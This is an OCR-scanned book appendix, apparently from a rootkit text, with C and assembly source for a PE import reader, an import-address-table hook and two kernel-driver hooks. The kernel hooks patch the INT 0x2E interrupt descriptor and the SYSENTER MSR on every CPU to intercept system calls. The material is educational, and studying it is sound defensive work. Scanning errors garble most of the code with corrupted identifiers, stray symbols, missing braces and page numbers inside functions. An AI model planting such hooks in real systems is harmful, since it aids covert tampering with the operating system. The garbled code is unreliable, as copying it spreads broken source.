(*hFileMapping) = CreateFileMapping ( llHANDLE hFile *hFile, II LPSECURITY_ATIRIBUTES (if NULL, handle cannot be inherited) NULL, PAGE_ READONLY, II DI\ORD flProtect a, II DI\ORD dl<i-laximumSizeHigh a, II DI\ORD d\ol'1aximumSizeLow II LPCTSTR lpName (NULL, mapped object unnamed) NULL ); if *hFileMapping) ==NULL )
{
CloseHandle(hFile) ; printf( n [GetHMDOULE] : CreateFileMapping() failed \ nn ); return(FALSE) ;
printf(n[GetHMDOULE]: Mapping a view of the file \ nn); (*baseAddress) = MapViewDfFile ( *hFileMapping, llHANDLE hFileMappingObject FILE_MAP_READ, I IDI\ORD dwDesiredAccess a, IIDI\ORD dwFileOffsetHigh a, II DI\ORD dwFileOffsetLow a II SIZE_T dwNumberOfBytesToMap (if a, from offset to the end of section) ); i f( (*baseAddress )==NULL) { CloseHandle( *hFileMapping); CloseHandle( *hFile); printf(nCouldn't map view of file with MapViewDfFile() \ nn); return(FALSE); return(TRUE); }/*end getHl'OOULE( )--- - - -- --- ------ ----- - - ----- ----- - ----- - - ----- - --- - -- ---- - * I PIMAGE_SECTION_HEADER getCurrentSectionHeader(DI\ORD rva, PIMAGE_NT_HEADERS peHeader) { PIMAGE_SECTION_HEADER section = IMAGEJIRST_SECTION(peHeader); unsigned nSections; unsigned index; nSections = *peHeader) . FileHeader) . NumberOfSections;
section header that contains the RVA (otherwise return NULL) index < nSections; index++, section++)
1*
In some cases, it's not as simple as : Linear Addres s = baseAddress + RVA In this case, you must perform a slight fix-up
*1
LPVOID rvaToPtr(DI\ORD rva , PIMAGE_NT_HEADERS peHeader, DI\ORD baseAddress) { PIMAGE_SECTION_HEADER section Header ;
742 I Appendix
Project: ReadPE
INT difference; sectionHeader = getCurrentSectionHeader{ rva, peHeader); if (sectionHeader==NULL){ return{NULL); } difference = (INT) *sectionHeader). VirtualAddress - (*sectionHeader). PointerToRaWOata); return{ (PVOID) ({baseAddress+rva) - difference; }/*end rvaToPtr{) - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -- -* / void processImportDescriptor
{
IMAGE_IMPORT_DESCRIPTOR importDescriptor, PIMAGE_NT_HEADERS peHeader, LPVOID baseAddress
PIMAGE_THUNK_DATA thunkIL T; PIMAGE_THUNK_DATA thunkIAT; PIMAGE_IMPORT_BY_NAME nameData; int nFunctions ; int nOrdinalFunctions; thunkIL T = (PIMAGE_THUNK_DATA) (importDescriptor .OriginalFirstThunk); thunkIAT = (PIMAGE_THUNK_DATA){importDescriptor.FirstThunk); if{thunkILT==NULL)
{
printf("' [processImportDescriptor] : empty IL T\n");
return;
}
if{thunkIAT==NULL)
{
printf{ " [processImportDescriptor]: empty IAT\n");
return;
thunkIL T = (PIMAGE_THUNK_DATA)rvaToptrIJI>.ORD)thunkILT, peHeader, (IJI>.ORD)baseAddress); if{thunkILT==NULL)
{
printf{" [processImportDescriptor]: empty ILT\n");
return;
{
printf{" [processImportDescriptor]: empty IAT\n");
return;
nFunctions =0 ; nOrdinalFunctions=0 ; while { ( *thunkIL T). ul. AddressOfData! =0)
{
if{! *thunkIL T) . ul.Ordinal & IMAGE_ORDINALJLAG
{
printf{" [processImportDescriptor] : \ t"); nameData (PIMAGE_IMPORT_BY_NAME) ({*thunkILT). ul.AddressOfData); nameData = {PIMAGE_IMPORT_BY_NAME)rvaToptr { {IJI>.ORD)nameData, peHeader, (IJI>.ORD)baseAddress ); printf (" \ t%s" , (*nameData) . Name) ;
Appendix 1743
Appendix / Chapter 5
} e l se {
nOrdinalFunctions++ ; thunkIL T++; thunkIAT++; nFunctions++;
return ;
}/*end processImportOescriptor() - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -- - - - - -- - */ void dumpImports(LPVOID baseAddress) { PIMAGE_OOS_HEADER dosHeader; PIMAGE_NT_HEADERS peHeader; IMAGE_OPTIONAL_HEADER32 optionalHeader; IMAGE_DATA_DIRECTORY import Directory ; DWORD descriptorStartRVA; PIMAGE_IMPORT_DESCRIPTOR importOescriptor; int index; printf (" [dumpImports) : checking OOS signature\n"); dosHeader = (PIMAGE_OOS_HEADER)baseAddress; i f( *dosHeader) . e_magic) ! =IMAGE_OOS_SIGNATURE) { printf("'[dumpImports) : OOS signature not a match\n"); return; } printf( "OOS s ignature=%X\n", ( *dosHeader) . e_magic); printf( " [dumpImports): checking PE signature\n"); peHeader = (PIMAGE_NT_HEADERS)DWORD)baseAddress + ( *dosHeader).e_lfanew) ; if( *peHeader) . Signature) ! =IMAGE_NT_SIGNATURE) { printf( "[dumpImports) : PE s i gnature not a match\n " ) ;
return ;
} printf ( "PE s i gnature=%X\n", ( *peHeader) . Signature);
printf(" [dumpImports) : checking OptionalHeader magic number\n " ); optionalHeader = ( *peHeader) . OptionalHeader; i f ( (optionalHeader . Magic ) ! =0x10S) { pri ntf ( " (dumpImports) : OptionalHeader magic number does not match\n"); return; } pri ntf ("OptionalHe ader Magic number=%X\n " , optionalHeader. Magic) ; printf(" [dumpImports) : accessing import directory\n") ; importDirectory = (optionalHeader) . DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT) ; descriptorStartRVA = importDirectory . VirtualAddress; importDescriptor = (PIMAGE_IMPORT_DESCRIPTOR)rvaToptr ( descriptorStartRVA, peHe ader, (DWORD)baseAddress ); i f( importOescriptor==NULL)
7441 Appendix
Project: ReadPE
printf(" [dumpImports] : First import descriptor is NULL \n"); return ; index=0; while(importDescriptor(index].Characteristics! =0) { char "dllName; dllName = (char" )rvaToptr( (importDescriptor( index]) . Name, peHeader, (IJI..ORD)baseAddress); if(dllName==NULL) { printf( "\n (dump Imports] : Imported DLL (%d] \ tNULL Name \n" , index) ; } else { printf ("\n(dumpImports] : Imported DLL(%d]\t% s\n", index,dllName); } printf(" - - - - - - - - - - - - - - -- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - \n"); processImportDescriptor( i mportDescriptor (index], peHeader, baseAddress); index++; } printf("(dumpImports] : %d DLLs Imported\n",index); }/"end dumpImports () - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -- - - - - - - -" / void closeHandles(HANDLE hFile, HANDLE hFileMapping, LPVOID baseAddress) { printf( " (closeHandles] : Closing up shop\n"); UnmapVie..of'File(baseAddress) ; CloseHandle(hFileMapping) ; CloseHandle(hFile) ; return; }/"end closeHandles() - - - - - - - - - - - - - - - - - -- - - - - - - - - - - - - - - - -- - - - - -- - - - - - - - - - - - - - - " / void main(int argc, char "argv(]) { char "fileName; HANDLE hFile ; HANDLE hFileMapping ; LPVOID fileBa seAddress; BOOL retVal; if(argc <2) { printf("(main]: not enough arguments") ; return; } fileName = argv (1] ; retVal = getffo'ODULE( fileName, &hFile , &hFileMapping, &fileBaseAddress); if(retVal==FALSE){ return; } dumpImports( fileBaseAddress); closeHandles (hFile, hFileMapping, fileBaseAddress); return; }/"end main() - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -- - - - - - - - - - -" /
Appendix 1745
Appendix / Chapter 5
Proied: HooklAT
Files: dbgmsg.h, dllmain.cpp, hookapi.c
/*++++111 I I III 111+++++++++++++++++++++++1 I I I III I I I I I I I I III I I I I I I I I I III I I I I I I I II
+ +
dbgmsg.h
+ +
++++++1111111111+++++111111111111+++++++111111111111111111111111111111111111'*/
#ifdef LOG_OFF #define DBG_TRACE(src,msg) #define DBG_PRINT1(argl) #define DBG_PRINT2(fmt,argl) #define DBG]RINT3(fmt,argl,arg2) #define DBG_PRINT4(fmt, argl, arg2, arg3) #else #define DBG_TRACE(src ,msg) #define DBG_PRINT1(argl) #define DBG]RINT2 (fmt, argl) #define DBG_PRINT3(fmt, argl, arg2) #define DBG]RINT4(fmt,argl, arg2, arg3) #endif
fprintf(fptr, "[%s]: % s\n", src, msg) fprintf(fptr, "%s", argl) fprintf(fptr,fmt, argl) fprintf( fptr, fmt, argl, arg2) fprintf(fptr,fmt, argl, arg2, arg3)
+ + +
dllmain. cpp
+ +
II III I III I I III I I I III I I I I I I I I I I I I I III I I I III I I I III I I I III I I III I I I III I I I III I I 111'*/
II Perform actions based on the reason for calling . FILE "fptr; fptr = NULL; fptr = fopen("C:\\skelog.t xt", "a"); if(fptr==NULL) { return(TRUE) ;
I I Perform actions based on the reason for calling.
switch(u l _reason_for_call) { case DLL_PROCESS_ATIACH : { DBG]RINT2(" [DllMain] : Process (%d) has loaded this DLL\n",GetCurrentProcessIdO);
746
Appendix
Projed: HooklAT
i f(HookAPI(fptr, "GetCurrentProcessId" )==FALSE) { DBG_TRACE("DllMain", "HookAPI() failed"); else { DBG_TRACE("DllMain", "HookAPI was a success");
} }break;
case DLL_THREAD_ATIACH :
I I Do thread-specific initialization.
break; case DLL_THREAD_DETACH :
I I Do thread-specific cleanup.
break; case DLL]ROCESS_DETACH :
/* I
+ + +
I I I I I I I I I I I I I I I I I 1++++++ I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I
hookapLc
+ + +
DWORD WINAPI MyGetCurrentProcessId() { return (666) ; }/' end MyGetCurrentProcessId() - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -- - - - - -- _. I void processImportDescriptor ( FILE ' fptr , IMAGE_IMPORT_DESCRIPTOR importDescriptor, PIMAGE_NT_HEADERS peHeader, DWORD baseAddress , char' apiName
PIMAGE_THUNK_DATA thunkILT; PIMAGE_THUNK_DATA thunkIAT; PIMAGE_ IMPORT_BY_NAME nameData; int nFunctions ; int nOrdinalFunctions; DWORD (WINAPI ' procptr) (); thunkIL T = (PIMAGE_THUNK_DATA) (importDescriptor . OriginalFirstThunk) ; thunkIAT = (PIMAGE_THUNK_DATA)(importDescriptor . FirstThunk); if(thunkILT==NULL) { DBG_TRACE ( .. [processImportDescriptor]"" , empty IL T" ) ; return; } if(thunkIAT==NULL) { DBG_TRACE(" [processImportDescriptorj", "empty IAT");
Appendix 1747
Appendix / Chapter 5
return;
thunkILT = (PIMAGE_THUNK_DATA}DWORD}thunkILT + baseAddress); if(thunkILT==NULL} { DBG_TRACE ( "[ processImportDescriptor]", "empty IL T"};
return;
thunkIAT = (PIMAGE_THUNK_DATA)( (DWORD}thunkIAT + baseAddress); if(thunkIAT== NULL} { DBG_TRACE(" [processImportDescriptor]", "empty IAT"};
return;
nFunctions=8; nOrdinalFunctions=8 ; while( ( *thunkILT) .ul.AddressOfData ' =8} { if(' *thunkILT) . ul.Ordinal & IMAGE_ORDINALJLAG { DBG]RINTl ( " [processImportDescriptor] : \ t") ; nameData = (PIMAGE_IMPORT_BY_NAME)( ( *thunkILT) . ul.AddressOfData}; nameData = (PIMAGE_IMPORT_BY_NAME}DWORD}nameData + baseAddress); DBG_ PRINT2 ( " \t% ( *nameData) . Name} ; s", DBG]RINT2( "\taddress : %Sax", thunkIAT -)ul. Function}; DaG]RINTl( " \n" }; if(strcmp(apiName , (char" ) ( " nameData). Name}==8} { DBG]RINT2( " [processImportDescriptor] : found a match for %s' '\n" ,apiName} ; procptr = MyGetCurrentProcessId; thunkIAT - ) ul. Function = (DWORD}procptr;
} else {
nOrdinalFunctions++ ; } thunkILT++ ; thunkIAT++ ; nFunctions++ ;
} DBG]RINT3( " \ t%d functions imported (%d ordinal}\n", nFunctions, nOrdinalFunctions); return; }/*end processImportDescriptor(} ------- - ----- ----- --------- - --- ------ - ------- */
SOOL walkImportLists(FILE *fptr, DWORD baseAddress, char" apiName} { PIMAGE_OOS_HEADER dos Header; PIMAGE_NT_HEADERS peHeader; IMAGE_ DPTIONAL_HEADER32 optionalHeader; IMAGE_DATA_DIRECTORY importDirectory; DWORD descriptorStartRVA; PIMAGE_ IMPORT_DESCRIPTOR importDescriptor; int index; DBG_TRACE("walkImportLists", "checking OOS Signature"}; dosHeader = (PIMAGE_OOS_HEADER }baseAddress; if( *dosHeader) .e_magic)' =IMAGE_OOS_SIGNATURE} {
7481 Appendix
Project: HooklAT
("dosHeader) .e_magic);
DBG_TRACECwalkImportLists", checking PE signature"); peHeader ~ (PIMAGE_NT_HEADERS)oo,.,oRD)baseAddress + ("dosHeader) .e_lfanew); if( ' peHeader) .Signature) ! ~IMAGE_NT_SIGNATURE) { DBG_TRACECwalkImportLists" "PE signature not a match"); return(FALSE) ; } DBG_PRINT2( [walkImportLists) : PE signature~%X\n", ("peHeader) .Signature); DBG_TRACE ("walkImportLists", "checking OptionalHeader magic number "); optionalHeader ~ ("peHeader) .OptionalHeader; if( (optionalHeader .Magic)! ~exleB) { DBG_TRACECwalkImportLists, "OptionalHeader magic number does not match "); return(FALSE) ; } DBG_PRINT2(" [walkImportLists): OptionalHeader Magic number~%X\n, optionalHeader . Magic ); DBG_TRACECwalkImportLists, "accessing import directory"); importDirectory ~ (optionalHeader). DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT); descriptorStartRVA ~ importDirectory. VirtualAddress ; importDescriptor
index~e;
(PIMAGE_IMPORT_DESCRIPTOR)(descriptorStartRVA + (oo,.,oRD)baseAddress);
while ( importDescriptor[ index). Characteristics! ~e) { char "dllName; dllName ~ (char" ) importDescriptor[ index)) . Name + (DhORD) baSeAddress) ;
if(dllName~~NULL)
{ DBG_PRINT2C\n[walkImportLists) : Imported DLL[%d)\tNULL Name\n " ,index); else { DBG]RINT3( \n[walkImportLists) : Imported DLL[%d)\t%s\n", index,dllName); } DBG_PRINT1(" - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - \n"); processImportDescriptor( fptr, importDescriptor[ index), peHeader, baseAddress, apiName); index++; } DBG_PRINT2C [walkImportLists): %d DLLs Imported\n", index) ; return(TRUE) ; }/"end walkImportLists () - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -- - - - - -- - - - - - - - - - - - -" / BDOL HookAPI(FILE "fptr, char" apiName)
{
oo,.,oRD baseAddress; baseAddres s ~ (OWORD)GetModuleHandle(NULL); return(walkImportLists (fptr, baseAddress, apiName)); }/"end HookAPI () - - - - - - - - - - - - - - - - - - - - - - - - - -- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -" /
Appendix 1749
Appendix / Chapter 5
Proied: HooklDT
Files: hookint.h, hookint.c, kmd.c, makeINT2E.c
/*+++++++++1 I I I I I I I I I I III I I I II I I I II I III I I III I I I I I I I I I I II I II I I I I I I I I I I I I I I I I I III
+ + +
hookint.h
11111111111111111"'1111111111111111111111111111111"
+ +
+
*/
"'11111111+++++++++++"
axFF ax2e
{
WORD nBytes; WORD baseAddressLow; WORD baseAddressHi; }lOTR; / / Bit fie lds are allocated within an i nteger from least -significant to most - significant bit typedef struct _lOT_DESCRIPTOR
{
// lst DWORD-------------------WORD offsetOO_1S; WORD selector; / /2nd DWORD- - - - - - - - - - - - - - - - - - - BYTE unused: S; BYTE zeroes: 3; BYTE gate Type : 5; BYTE DPL :2; BYTE P:l; WORD offset16_31 ; } lOT_DESCRIPTOR, ' PlOT_DESCRIPTOR ; #pragma packO
+ + +
+
hoo kint.c
+
+
+++++1"'1111111"'11111111111111111+++++1"111"11111111111111111111111111"*/
/ /write-once, read-only global variables .DWORD oldISRptr; DWORD nProcessors; /./thread mgmt global variables KEVENT sync Event; DWORD nlOTHoo ked; // used to trigger unhooking DWORD nCallsMade; DWORD makeDWORD(WORD hi, WORD 10)
{
DWORD value ; value = a;
750 I Appendix
Project: HooklDT
value = value : (IJI..ORD)hi; value = value 16; value = value : (IJI..ORD) 10; return(value) ; }/*end makeIJl..ORD() - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - * / void LogSystemCall(IJI..ORD dispatchlO, IJI..ORD stackptr) { DbgPrint
(
" [RegisterSystemCall] : on CPU[% of %U, (%s, pid=%u, dispatchlO=%x)\n", u] KeGetCurrentProcessorNumber () , KeNumberProcessors, (BYTE *)PsGetCurrentProcess( )+0x14c, PsGetCurrentProcessld() , dispatchlO
); Interlockedlncrement(&nCallsMade) ;
return ;
}/*end LogSystemCall() - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -* / _deelspec (naked) KiSystemServiceHook() {
pushad / /PUSH EAX, ECX, EDX, EBX, ESP, EBP, ESI, EDI pushfd / /PUSH EFLAGS push fs mov bX,ex3e mov fS,bx push ds push es push edx / /stackptr push eax / / dispatchlO call LogSystemCall ; pop es pop ds pop fs popfd popad jmp oldISRptr ; } }/*end K iSys temServiceHook() - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -- - - - - - - - - - - - -- -* / void Hooklnt2E() { lOTR idtr ; PlOT_DESCRIPTOR idt; PlOT_DESCRIPTOR int2eDescriptor; IJI..ORD addressISR; DBG]RINT2( " [Hooklnt2E] : Hook Attempt - running on CPU[%u]\n", KeGetCurrentProcessorNumber(); DBG_TRACE("Hooklnt2E ", "Accessing 48 - bit value in lOTR") ; _asm eli ; sidt idtr ; sti ;
Appendix 1751
Appendix / Chapter 5
Iialready been hooked? if (addressISR~~ (OWORD) KiSystemServiceHook) { DBG_TRACE("HookInt2E","BZZZZT! lOT Already hooked"); KeSetEvent (&syncEvent, 8, FALSE) ; PsT erminateSystemThread (8) ;
Ilc an double-check the results of this with: ! idt 2e DBG_PRINT2(" [HookInt2E]: IDT[8x2E] originally stored
int2eDescriptor
~
address~%x\n",
addressISR);
&(idt[SYSTEM_SERVICE_VECTOR]);
1*
EAX ~ EBX - ) EBX -) EAX ~ EBX - ) [HI][HI][LO][LD] ~ address of hook routine [--][--][--][--][--][--][--][--] INT 8x2E descriptor [--][ --][ --][ --][ --][ -- ][LO][LO] INT 8x2E descriptor [--][--][HI][HI] [HI][HI][ --][ --][ --][ -- ][LO][LO] INT 8x2E descriptor
*1
_asm
DBG]RINT2 ( " [HookInt2E] : lOT [8x2E] now set to %x\n", (OWORD) KiSystemServiceHook) ; DBG]RINT2(" [HookInt2E] : Hooked IDT[2E] on CPU[%u]\n" ,KeGetCurrentProcessorNumberO); nIDTHooked++ ; KeSetEvent(&syncEvent,e, FALSE); PsTerminateSystemThread(e) ; return; }/*end HookInt2E() - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -* I void HookAllCPUs 0 { HANDLE threadHandle; IDTR idtr; PlOT_DESCRIPTOR idt; nProcessors ~ KeNumberProcessors; OBG_PRINT2(" [HookAllCPUs] : Attempting to hook %u CPUs\n",nProcessors); DBG_TRACE("HookAllCPUs", "Accessing 48-bit value in IDTR") ; _asm cli; sidt idtr; sti;
7521 Appendix
Project: HooklDT
idt = (PlOT_DESCRIPTOR)makeOl<.ORD(idtr. baseAddressHi, idtr. baseAddressLow); oldISRptr = makeOl<.ORD ( idt[SYSTEM_SERVICE_VECTORj . offset16_31 , idt[SYSTEM_SERVICE_VECTORj . offsetOO_15 ); DBG_PRINT2(" [HookAllCPUs j : Original nt! KiSystemService at address=%x\n", oldISRptr); threadHandle = NULL ; nIDTHooked = B; DBG_TRACE C'HookAllCPUs" , "Keeping launching threads until we patch every lOT"); KeIni tializeEvent (&syncEvent, SynchronizationEvent, FALSE) ; while(TRUE) { Ps CreateSystemThread ( &threadHandle, (ACCESS_MASK) BL, NULL , NULL , NULL, (PK START_ROUTINE )HookInt2E, NULL ); KeWai tForSingleObject ( &syncEvent, Executive , KernelMode , FALSE, NULL ); if(nIDTHooked==nProcessors){ break; } } KeSetEvent(&syncEvent, B, FALSE) ; DBG_PRINT2( " [HookAllCPUsj : number of lOTs hooked =%x\n", nIDTHooked) ; DBG_TRACE("HookAllCPUs", "Done patching all lOTs");
return;
}/*end HookAllCPUs() - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -- - - - - - * / void unHookInt2E() { IDTR idtr; PlOT_DESCRIPTOR idt; PlOT_DESCRIPTOR int2eDescriptor; Ol<.ORD addressISR ; DBG]RINT2(" [unHookInt2Ej: running on CPU[%uj\n " ,KeGetCurrentProcessorNumber()); DBG_TRACE("unHookInt2E", "Accessing 48-bit value in IDTR"); _asm cli ; sidt idtr; sti ;
idt = (PIDT_DESCRIPTOR)makeOl<.ORD(idtr. baseAddressHi, idtr. baseAddressLow); addressISR = makeOl<.ORD\ ( idt[SYSTEM_SERVICE_VECTORj . offset16_31, idt[SYSTEM_SERVICE_VECTORj.offsetOO_15 ); i f( addressISR==oldISRptr)
Appendix
I 753
Appendix / Chapter 5
int2eDescriptor = &(idt[SYSTEM_SERVlCE_VECTOR]); DBG_PRINT2(" [unHooklnt2E]: KiSystemServiceHook() is at linear address=%x\n", addressISR) ; DBG_PRINT2(" [unHooklnt2E] : KiSystemService() is at linear address=%x\n", oldISRptr); DBG_ TRACE ("unHooklnt2E", "replacing hook with nt! KiSystemService()"); _asm cli; mov eax, oldISRPtr; mov ebx, int2eDescriptor; mov [ebx],ax; shr eax,16 mov [ebx+6],ax; lidt idtr; sti;
} DBG]RINT2(" [unHooklnt2E]: lOT[ex2E] now set to %x\n" ,01dISRptr); DBG]RINT2(" [unHooklnt2E]: Restored lOT[2E] on CPU[%u]\n", KeGetCurrentProcessorNumber());
return;
}/*end unHooklnt2E() - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -- - - - - - - - - - - - - - - - - - - - - - - - - * / void unHookAllCPUs () { HANDLE threadHandle; DBG_PRINT2(" [unHookAllCPUs] : Attempting to un-hook % CPUs\n", nProcessors) ; u threadHandle = NULL; nlOTHooked = e; DBG_TRACE ("unHookAllCPUs", "Keeping launching threads until we restore every lOT"); Kelni tializeEvent (&sync Event, SynchronizationEvent, FALSE) ; while(TRUE) { PsCreateSystemThread
(
754
Appen di X
Project: HooklDT
} KeSetEvent (&sync Event , e, FALSE) ; DBG_PRINT2("[unHookAllCPUs]: number of IDTs restored =%x\n", nIDTHooked); DBG_TRACE( "unHookAllCPUs", "Done restoring all IDTs " );
returnj
}/*end unHookAllCPUs() - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -- - - - - - - - * /
+ + +
kmd . c
+ + +
,*/
/ / system includes - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -#include "ntddk . h' / / shared includes- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -- - - - - -- - -#include "dbgmsg.h" #include "datatype . h" / /local includes- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -- - - - - - - - - - - -#include "hookint . h" #include "hookint. c" / / DRIVER_OBJECT routines- - - - - - - - - - - - - - - - - - - - -- - - - -- - - - - - -- - - - - - -- - - - - - - - - - - -- -VOID Unload(IN PDRIVER_OBJECT DriverObject) { DBG_TRACE( "OnUnload " , "Received signal to unload the driver");
return j
}/*end OnUnload( ) - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -- - - - -* /
/*
DriverEntry - main entry point of a kernel mode driver
*/
NTSTATUS DriverEntry
(
DBG_TRACE ( "Driver Entry", "Driver is Booting- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -"); DBG_TRACE( "Driver Entry", "Establishing DriverObject function pointers"); (*pDriverObject) . DriverUnload = Unload ; nCallsMade = e ; DBG_TRACE("Driver Entry", "calling HookAllCPUsO " ) ; HookAllCPUs 0 ; while(nCallsMade < 5) { / /empty loop (wait for 5 INT e x2E calls to be processed and logged) DBG_TRACE( "Driver Entry ", "calling unHookAllCPUsO"); unHookAllCPUs ( ) ; return STATUS_SUCCESS; }/*end DriverEntry() - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -- - - - - - - - - - - - - - - - - - - - - - - -* /
/* 111111111111++111111111111111111111111111111111111IIIIII111111111111111111111
+ + +
m akeINT2E . c
+ +
A pen di X p
I 755
Appendix / Chapter 5
till I I II I I I I I I I I I I I I I I I I I I I I II I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I
,*/
Proied: HookSYS
Files: kmd.c
/*++1111111111111111111111111111111 1111111111111111111IIIIII1111111111111111111
+ + +
kmd.c
+ + +
11111111111111++111111111'11111111111111111111111111111111111111111111111111'*,
/ /system includes- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -- - - - - - - - - - - - - - - - - - - -- - -#include "ntddk . h" / / shared includes - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -#include "datatype.h" #include "dbgmsg . h" / /Machine -Speci fic Register Constructs - - - - - - - - - - - - - - - - - - - - - - - - - - --- - - - - - - - - - - -#define IA32_SYSENTER_EIP ax176 typedef struct _MSR { DWORD loValue; DWORD hiValue ; }MSR, *PMSR; DWORD originalMSRLowValue; / /Thread Management declarations- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -- - - - - - - - - -#define nCPUS 32 typedef NTSTATUS (_stdcall * KeSetAffini tyThreadPtr)
(
output control variables----- ------ -- ---------- ------------- ---- -- - -----nActi veProcessors; printFreq ; currentIndex;
/ /Logging Routines- - - - -- - - - - - -- - - - - - - - - - - - - - - - - - - - - - - - - -- - - - - - - - - - - - - - - - - --- - -void _stdcall LogSystemCall(DWORD dispatchID, DWORD stackPtr) { if(currentIndex == printFreq) {
756
Appen di X
Project: HookSYS
DbgPrint ( "[LogSystemCall]: on CPU[%u] of %U, (%5, pid=%u, dispatchID=%x)\n", KeGetCurrentProcessorNumber() , nActiveProcessors, (BYTE *) PsGetCurrentProcess ()+ex14c, PsGetCurrentProcessId() , dis pate hID ); currentIndex=0 ; currentIndex++ ; returnj }/*end LogSystemCall() - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -* / void _declspec (naked) KiFastSystemCallHook () {
pushad pushfd mov ecx, 0x23 push 0x30 pop fs mov ds, ex
/ /PUSH EAX, E(X, EDX, EBX, ESP, EBP, ESI, EDI / /PUSH EFLAGS
maves, ex / / -- - - - - - - - - - - - - --- ---- - - - -push edx / /stackPtr push eax / /dispatch ID call LogSystemCal1 / / ----- ------ - ---------- ---popfd popad jmp [originaIMSRLowValue] } }/*end KiFastSystemCallHook() - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -* / ooking Routines - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -//H void getMSR(JI..QRD regAddress, PMSR msr)
{
mov ecx, regAddress; rdmsr; mov hiValue, edx; mov 10Value, eax ;
(*msr) .hiValue hiValue; (*msr) .10Value 10Value; return ; }/*end getMSR() - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -* / void setMSR(JI..QRD regAddress, PMSR msr) { (JI..QRD 10Value; (JI..QRD hiValue; hiValue 10Value (*msr) .hiValue; (*msr) .10Value;
A pen di X p
I 757
Appendix I Chapler 5
wrmsr;
return; }/'end setMSR() - - - - - - - - - - - -- - - - - - -- - - - - - --- - - - - -- - - - - - - - - - - - - - - - - - - - - - - - - - -- -' I
DWORD HookCPU(DWORD procAddress) { MSR oldMSR; MSR nel'.MSR; getMSR(IA32_SYSENTER_EIP, &oldMSR); nel'.MSR . loValue = oldMSR.loValue; nel'.MSR . hiValue = oldMSR . hiValue; nel'.MSR .1oValue = procAddress; DBG]RINT2(" [HookCPU]: Existing IA32_SYSENTER_EIP : %8x\n", oldMSR.loValue); DBG_PRINT2(" [HookCPU]: New IA32_SYSENTER_EIP : %8x\n", neI'.MSR . loValue); setMSR(IA32_SYSENTER_EIP, &neI'.MSR); return(oldMSR.loValue) ;
758 I Appendix
Project: HookSYS
} I"end HookAllCPUs ( ) - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -" I void HookSYSENTER(Il'nORO procAddress) { hThread ; HANDLE OBJECT_ATTRIBUTES ini tializedAttributes; pkThread ; PKTHREAD timeout; LARGE_INTEGER Ini tializeObjectAttributes ( &ini tializedAttributes, I lOUT POBJECT_ATTRIBUTES InitializedAttributes NULL , I/IN PUNICOOE_ STRING ObjectName a, I lIN ULONG Attributes NULL, I lIN HAMlLE RootDirectory I lIN PSECURITY_DESCRIPTOR (MJLL to accept defau l t security) NULL ); PsCre ateSystemThread ( &hThread, I lOUT PHANDLE ThreadHandle THREAD_All_ACCESS, I lIN ULONG DesiredAccess &ini tializedAttributes, IIIN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL NULL, I lIN HANDLE ProcessHandle OPTIONAL NULL, I lOUT PCLIENT_ID ClientId OPTIONAL (PKSTART_ROUTINE)HookAIICPUs, IIIN PKSTART_ROUTINE StartRoutine (PVOID)procAddress I lIN PVOID StartContext ); ObReferenceObjectByHandle ( hThread, I lIN HAMlLE Handle THREAD_ALL_ACCESS , I lIN ACCESS_MASK DesiredAccess NULL, IIIN POBJECT_ TYPE ObjectType OPTIONAL KernelMode, I lIN KPROCESSOR_I"lOE AccessMode &pkThread, I lOUT PVOID "Object I lOUT POBJECT_HAMlLE_INFORMATION HandleInformation OPTIONAL NULL ); timeout . QuadPart = SOO; 11100 nanosecond units while ( KeWaitForSingleObject(pkThread, Executive, KernelMode, FALSE, &timeout)! = STATUS_SUCCESS
I I empty loop
}
ZwClose(hThread) ;
return;
